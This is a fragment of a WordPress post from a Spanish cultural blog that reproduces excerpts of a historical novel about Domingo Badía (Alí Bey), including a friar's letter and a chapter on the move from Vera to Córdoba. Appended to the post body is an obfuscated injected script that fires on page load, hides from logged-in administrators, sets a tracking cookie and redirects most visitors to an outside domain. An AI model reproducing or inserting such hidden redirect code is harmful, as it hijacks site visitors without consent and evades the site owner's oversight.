seud\u00f3nimo de Polindo Remigio.<\/p>\n<p>-Polindo suena a nombre de p\u00e1jaro enjaulado y dom\u00e9stico. Poco vuelo le auguro -brome\u00f3 Mar\u00eda Luisa-. En cuanto a Remigio, aunque me digas que fue piloto de una nave y la condujo hasta el puerto del para\u00edso, yo le imagino obispo entrado en carnes, sobrado de peso y m\u00e1s bien un lastre para una m\u00e1quina tan et\u00e9rea.<\/p>\n<p>Aquellas burlas incomodaban a Berruezo.<\/p>\n<p>-D\u00e9janos en paz, ni\u00f1a y veta a tus quehaceres. Lo que tiene que hacer Domingo es enviar su manuscrito y encomendar su proyecto a una persona de altura y, aunque parezca parad\u00f3jico, de mucho peso, para pasar de una vez de la teor\u00eda a la pr\u00e1ctica y volar finalmente.<\/p>\n<p>Por mediaci\u00f3n del franciscano, definitivamente afincado en la corte, remit\u00ed el tratado al conde de Aranda que acababa de sustituir a Floridablanca al frente de la Secretar\u00eda de Estado. El monje me lo devolvi\u00f3 a vuelta de correo con una nota adjunta:<\/p>\n<p>\u00abSe me olvid\u00f3 preguntarle, amigo Bad\u00eda, \u00bfc\u00f3mo floreci\u00f3 este a\u00f1o el almendro de Efendi? Sostengo la teor\u00eda de que lo que ocurre a un lado del Estrecho provoca sus efectos en el otro flanco. Por mis hermanos de la misi\u00f3n franciscana de T\u00e1nger he sabido que una mano, distinta a la de Efendi naturalmente, acab\u00f3 con la vida de su asesino el sult\u00e1n Muley Yacid. Las flores, \u00bferan blancas o amoratadas?<\/p>\n<p>\u00bbAhora reina en la otra orilla su hermano Muley Solim\u00e1n. En esta orilla nuestra, un joven de la misma edad que usted se ha hecho due\u00f1o de Espa\u00f1a. Con s\u00f3lo veinticinco a\u00f1os Godoy acaba de sustituir al conde de Aranda. Por lo que ata\u00f1e a su manuscrito tendr\u00e1 que variar la dedicatoria, Bad\u00eda. No olvide al redactarla de nuevo que Godoy, seg\u00fan dicen, valora las hip\u00e9rboles tanto como la magnificencia, la riqueza y los t\u00edtulos. No escatime tinta ni las glorias. \u00a1Qu\u00e9 mundo! Hasta un franciscano conoce la receta para favorecer esas pestes, pero nadie conocemos el remedio para erradicarlas.\u00bb<\/p>\n<p>Si Bad\u00eda y Al\u00ed Bey fueron el mismo, siendo distintos, en cierta medida Muley Solim\u00e1n y Godoy habr\u00edan de configurar tambi\u00e9n para Al\u00ed Bey y para Bad\u00eda un \u00fanico rostro: el rostro del poder. Ambos lo alcanzaron el mismo a\u00f1o y cumplir\u00edan en mi vida un papel determinante. No s\u00e9 si debemos creer que todo azar obedece a una causa. Pero no puedo dejar de pensar que la ara\u00f1a teje su tela para atrapar a las moscas, antes incluso de saber que en el mundo existen moscas.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/MONEDA-CARLOS-IV.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2607\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/03\/MONEDA-CARLOS-IV.jpg\" alt=\"\" width=\"378\" height=\"201\" \/><\/a><\/p>\n<p><u><strong>EL HOMBRE QUE QUISO VOLAR<\/strong><\/u><\/p>\n<p>El d\u00eda en que abandonamos Vera para siempre, Mar\u00eda Luisa me previno contra el viento. A medida que nos separ\u00e1bamos de la ciudad en la que hab\u00eda vivido desde ni\u00f1a, escrutaba el camino interminable que se abr\u00eda ante nosotros y, al t\u00e9rmino de los llanos de Vera, no revelaba otro horizonte que el cielo.<\/p>\n<p>-He so\u00f1ado -me dijo con los ojos cuajados de l\u00e1grimas- que me llevas a un mundo que se sustenta s\u00f3lo en el viento. En mi sue\u00f1o el suelo era una nube de polvo sobre la que flotaban un mont\u00f3n de hojas secas formando una espesura sin troncos ni ra\u00edces.<\/p>\n<p>Gracias al celo de mi padre me acababan de nombrar administrador de la Real Renta de Tabacos de C\u00f3rdoba. Durante las dos primeras jornadas de viaje una atm\u00f3sfera inm\u00f3vil, saturada de luz, se desplom\u00f3 sobre la vega de Granada y persisti\u00f3 sin fisuras hasta la campi\u00f1a de C\u00f3rdoba. El espacio parec\u00eda extra\u00f1amente desprovisto de aire y la tierra exhalaba un vaho amarillo y ardiente. Pero a medida que nos aproxim\u00e1bamos a la ciudad un viento fiero descendi\u00f3 de las cumbres m\u00e1s escarpadas de sierra Morena, arroj\u00e1ndose de risco en risco, e invadi\u00f3 la llanura. Durante un buen trecho correte\u00f3 a nuestro lado, enredado en los olivos, naranjos e higueras de la campi\u00f1a. Al llegar al r\u00edo, cruz\u00f3 el Guadalquivir de un salto y se revolvi\u00f3, encabritado, sobre el viejo puente romano que franquea la ciudad.<\/p>\n<p>-Parece que nos mira -dijo Mar\u00eda Luisa-. Desmontemos. Una mala embestida podr\u00eda hacerme caer de la mula y perder al ni\u00f1o.<\/p>\n<p>(&#8230;)<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Me ha parecido interesante a\u00f1adir extractos de esta novela hist\u00f3rica sobre Al\u00ed Bey (proporcionada por Gabriel Flores Garrido), \u00abAl\u00ed Bey el abas\u00ed\u00bb. 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